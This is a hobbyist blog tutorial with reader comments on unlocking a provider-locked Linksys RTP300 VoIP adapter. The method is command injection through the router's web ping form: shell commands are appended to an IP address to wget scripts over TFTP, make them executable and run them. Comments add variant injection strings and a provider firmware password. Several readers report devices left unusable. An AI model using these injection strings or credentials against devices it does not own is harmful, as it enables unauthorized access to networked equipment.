Apr
28
Hello Guys Here’s how to hack your Jailed RTP300
- tFTP -> http://tftpd32.jounin.net/download/Tftpd32-3.35-setup.exe
- The Zip -> Hack RTP300.zip
- Firefox -> www.mozilla.com/en-US/firefox/ With -> https://addons.mozilla.org/en-US/firefox/addon/60
- A beer
Keep this page aways up so you have something to look at case you forget something
Step 2: Configure TFTP32
- Run TFTP32. Click settings, and then setup the base directory. Use the directory you installed the program (ex. C:\Program Files\TFTP32) and make sure the extracted files from the ZIP are in this directory. Change security to none, and set the timeout and max retransmit to 10 and then hit OK.
Step 3: Unlock the Console using Ping Hack
- Make sure you have downloaded everything from step 1 and ensure the getready file from the ZIP is in the TFTP32 folder. Now disconnect from the internet and connect directly to the RTP300 making sure the device is also not connected to the internet (ie. pull the Ethernet cord out of the WAN port). Also make sure to disable any Anti-Virus and firewall programs that may be running.
- Use a paperclip and hard reset the RTP300 (hold reset for 10-15 seconds). Go to »192.168.15.1 with the username/pass of admin/admin. Once the router restarts go to Administration >> Ping. Also make sure TFTP32 is running.
- On the Ping popup, right click >> Web Developer >> Forms >> Remove Maximum Lengths.
Enter the following and click Ping.
- 127.0.0.1 &&cd /var/tmp &&wget tftp://192.168.15.100/getready
Right Click >> Web Developer >> Forms >> Remove Maximum Lengths. Enter the following and click Ping.
- 127.0.0.1 &&cd /var/tmp &&chmod 755 getready
Right Click >> Web Developer >> Forms >> Remove Maximum Lengths. Enter the following and click Ping.
- 127.0.0.1 &&sh /var/tmp/getready
After a few seconds you should see some information in the output box. Scroll down to the last line and look for CONSOLE_STATE unlocked. If you see this you are good to go. Now Restart the RTP300
Step 5. The Hack
- Log back into the router and go to Administration >> Ping. Also make sure TFTP32 is running.
- On the Ping popup, right click >> Web Developer >> Forms >> Remove Maximum Lengths.
Enter the following and click Ping.
- 127.0.0.1 &&cd /var/tmp &&wget tftp://192.168.15.100/install
Right Click >> Web Developer >> Forms >> Remove Maximum Lengths. Enter the following and click Ping.
- 127.0.0.1 &&cd /var/tmp &&chmod 755 install
Right Click >> Web Developer >> Forms >> Remove Maximum Lengths. Enter the following and click Ping.
- 127.0.0.1 &&sh /var/tmp/install
You should now see a file transfer in progress under TFTP32. After the firmware has been transferred the power light on the RTP300 will start to blink if everything is successful. DO NOT INTERRUPT THIS PROCESS. IT MAY TAKE UP TO 2-4 MINUTES TO COMPLETE. WAIT FOR THE POWER LIGHT TO RETURN SOLID AND FOR AN ETHERNET LINK TO BE ESTABLISHED.
Hey thanks a bunch for your tutorial! I had to make a few changes to the ping codes to get my RTP300 (5.01.04) to work. Here is what I used.
192.168.15.1 & cd /var/tmp; wget tftp://192.168.15.100/getready
192.168.15.1 & chmod 755 /var/tmp/getready
192.168.15.1 & sh /var/tmp/getready
—-
192.168.15.1 & cd /var/tmp; wget tftp://192.168.15.100/install
192.168.15.1 & chmod 755 /var/tmp/install
192.168.15.1 & sh /var/tmp/install
Thanks again!
@LtKermit
I too have RTP300 v5.01.04. I was stuck untill I saw your post. Man! you saved my rear! Thank you sir
Great tutorial, worked like a charm, except you don’t need the chmod if you sh the script 😉
Hi,
When the last command is executed and the file is transfered, RTP300 won’t install it, why? I had to change the install script because the file is named newos.bin, and not newos.bindd as written in the script…. Any ideas?
The firmware is 3.1.24 on the RTP300 and the VOIP subscriber has locked the Voice and Upgade options with their own password….
dd is a command
Don’t work for me !!!!! i have the RTP300 with a Firmware Version: 1.01.07 and don’t work 🙁
[…] that will have all the files and step by step instructions into unlocking your ATA device. http://thegeekoftheworld.com/unlock-rtp300/ . Note the step by step instruction please see what commands your sending when doing the ping […]
I would just like to say that this is a Edited-Copy of http://www.dslreports.com/forum/r21123078-Unlock-TUTORIAL-VONAGE-WRTP54G-RTP300-WITH-5.01.04
That I posted it here cause you can’t post the .img files for this to work on dslreports, And it was a bitch to find and do this hack. All “Credit goes to Phoenix2088” as he was the one to make the full how-to.
I’m just the guy who used his how-to and edited it to work with my RTP300 and are “Providing the .img file I used” so you don’t have to do the spend time finding or hex editing.
Great tutorial, worked like a charm, except you don’t need the chmod if you sh the script 😉
Hey thanks a bunch for your tutorial! I had to make a few changes to the ping codes to get my RTP300 (5.01.04) to work. Here is what I used. 192.168.15.1 & cd /var/tmp; wget tftp://192.168.15.100/getready 192.168.15.1 & chmod 755 /var/tmp/getready 192.168.15.1 & sh /var/tmp/getready —- 192.168.15.1 & cd /var/tmp; wget tftp://192.168.15.100/install 192.168.15.1 & chmod 755 /var/tmp/install 192.168.15.1 & sh /var/tmp/install Thanks again!
The link for the beer appear to be missing…
Thanks for the how-to! Very useful and thanks to
LtKermit for the modified ping commands too.
I have firmware 12.0.1 on my RTP300 and I cannot seem to get this to work. When I enter any of the above commands to “ping” tftp, I get an “invalid command” alert. If anybody has any other ideas, I would be most appreciative!
I should also comment that I cannot go to 192.168.15.1/update.html either (after logging into the router). I get a 404 error.
Are you sure this is a RTP 300? Cause I have not seen a V12.X.X Firmware….. if you can’t view /update.html the old provider may of “some how” removed it.
Yes, I am certain it is rtp300 as I have it right in front of me…
It is/was vonage, but I canceled my service recently and went with a linksys ata/sip/google choice solution for $5/ month instead… I wanted to try to use the rtp300 as my ata…
Thanks for the help!
Cheers,
B.D.
When I “ping” 192.168.15.1 (RTP300), I get a return of:
BusyBox v0.61.pre (2010.09.20-15:54+0000) multi-call binanry
Usage: ping [OPTION]… host
but if I try to append any commands (either using & or &&), I get an error that “The Page at http://192.168.15.1 says:”
with the form data “Invalid IP address 192.168.15.1 &cd”
Any assistance is greatly appreciated!
Cheers,
B.D.
Hmm You using the firefox extenshion?
If you would like to talk in real time go to: http://webchat.techtoknow.net/eris:swf:thegeekoftheworld:
[…] http://thegeekoftheworld.com/unlock-rtp300/ LikeBe the first to like this post. […]
I do not even know how I ended up here, but I thought this post was good. I don’t know who you are but definitely you’re going to a famous blogger if you are not already 😉 Cheers!
Howdy just wanted to give you a quick heads up. The text in your content seem to be running off the screen in Internet explorer. I’m not sure if this is a formatting issue or something to do with web browser compatibility but I thought I’d post to let you know. The design and style look great though! Hope you get the issue fixed soon. Many thanks
I like the helpful info you provide in your articles. I’ll bookmark your blog and check again here regularly. I am quite sure I will learn many new stuff right here! Best of luck for the next!
Thanks so much… great help.
I bookmarked your blog. Great posts. Thanks 🙂
Hello there, You’ve done a great job. I will certainly digg it and personally recommend to my friends. I’m confident they will be benefited from this site.
Keep working ,great job!
I too have firmware 12.0.1 on my RTP300 has their been any updates on unlocking this ata. It always shows up with the invalid ip address also. I guess with the vonage branded firmware they are locking us out somehow.
heineken beer is OK???
thanks a lot !!!!!!
[…] Linksys RTP300 from Vonage January 30, 2012 Thank you to …. http://thegeekoftheworld.com/unlock-rtp300/ ….for the instructions i used to unlock […]
Any new suggestions for firmware 12.0.1-r100920-3.4.2?
Great tutorial Worked liked a charm. One question though I know its unlocked because I set it up with freepbx and works great, but as i explored around it and clicked on firmware upgrade just to see it asks “Please enter the password provided by service provider: ” Is the rtp300 partially unlocked or am i missing something? No big deal just wondering if anyone has had the same issue.
Never mind I found out its “user” and password is “tivonpw”
Thanks for a great tutorial and the files needed!!!
civiic associatio had this in box thought to throw out but your crack worked…! ( with the 192.168.15.1) versus 127.0.0.1…they will use it thanks for refurbishing or really your donation to this not for profit group….well thought out and well done. Respectfully, dan h.
I have run this on 2 different rtp300s both with 5.01.04. I see in the tftp log that newos.bin was downloaded. I got no auto-reboot though. After rebooting and going to login screen it still shows 5.01.04 but now I can’t get to any other screen. Login with admin/admin and it says page times out.
Router still works as router only.
Any ideas?
How long did you wait till you rebooted it..
5 minutes or so.
OK, lets assume I did not wait long enough; that seems like a likely scenario. Are they trash now?
Thanks for all this work too.
Sean
Are they trash now? Is there anything I can do? Do you want them?
Idk if there is anything other then tjag it… Witch I have not done before…
Failed again. I tried on yet another5.01.04 rtp300. tftp worked on all files:
Connection received from 192.168.15.1 on port 2068 [16/02 02:17:56.412]
Read request for file . Mode octet [16/02 02:17:56.413]
Using local port 60366 [16/02 02:17:56.457]
: sent 1 blk, 85 bytes in 0 s. 0 blk resent [16/02 02:17:56.509]
Connection received from 192.168.15.1 on port 2092 [16/02 02:21:43.831]
Read request for file . Mode octet [16/02 02:21:43.831]
Using local port 58204 [16/02 02:21:43.831]
: sent 1 blk, 95 bytes in 0 s. 0 blk resent [16/02 02:21:43.883]
Connection received from 192.168.15.1 on port 2105 [16/02 02:23:40.984]
Read request for file . Mode octet [16/02 02:23:40.984]
Using local port 53818 [16/02 02:23:40.993]
: sent 7553 blks, 3866632 bytes in 9 s. 0 blk resent [16/02 02:23:49.043]
2.5 minutes later the power led stopped blinking and the local lan port was on. I can get to the login screen which now says 3.1.24. Any username and password combo results in a url of: http://192.168.15.1/cgi-bin/webcm that displays the page loading gif. then nothing ever happens.
as you can see install downloaded the newos.bin. I waited over 3 minutes for sure. This is creating a large scrap heap.
Any ideas?
it did the same to me. so what can be done. im on firmware version 3.1.24 and i waited a while it gets stuck after i put the password in. it looks like it might not be waiting long enough i waited a while. before reboot.
The Hack RTP300.zip is unavailable and there is no download. Can someone please Help.
https://thegeekoftheworld.com/content/uploads/2010/04/RTP300-Hack.zip Sorry fixed the links
Hack RTP300.zip is missing do i need it for this to work sorry know this old but just picked up a rtp300
https://thegeekoftheworld.com/content/uploads/2010/04/RTP300-Hack.zip Sorry fixed the links
The link to the RTP300-hack.zip file isn’t working. Can you repost it please?
https://thegeekoftheworld.com/content/uploads/2010/04/RTP300-Hack.zip Sorry fixed the links
Any chance you still have the RTP300-Hack.zip around? The link in the post is dead.
https://thegeekoftheworld.com/content/uploads/2010/04/RTP300-Hack.zip Sorry fixed the links
the problem is that the above mentioned to-trial is not valid for vonage V12.X.X Firmware, so is there any way to unlock the router even with V12.X.X.
The open wrt describe a jtag method by using a serial port but even so there is no YouTube videos or even clear Totrial to make it, is there any geek who could help me to unlock the router and install new firmware to access the router voip settings?
Great post !
Work for me on RTP300 v5.01.04
Thanks a lot !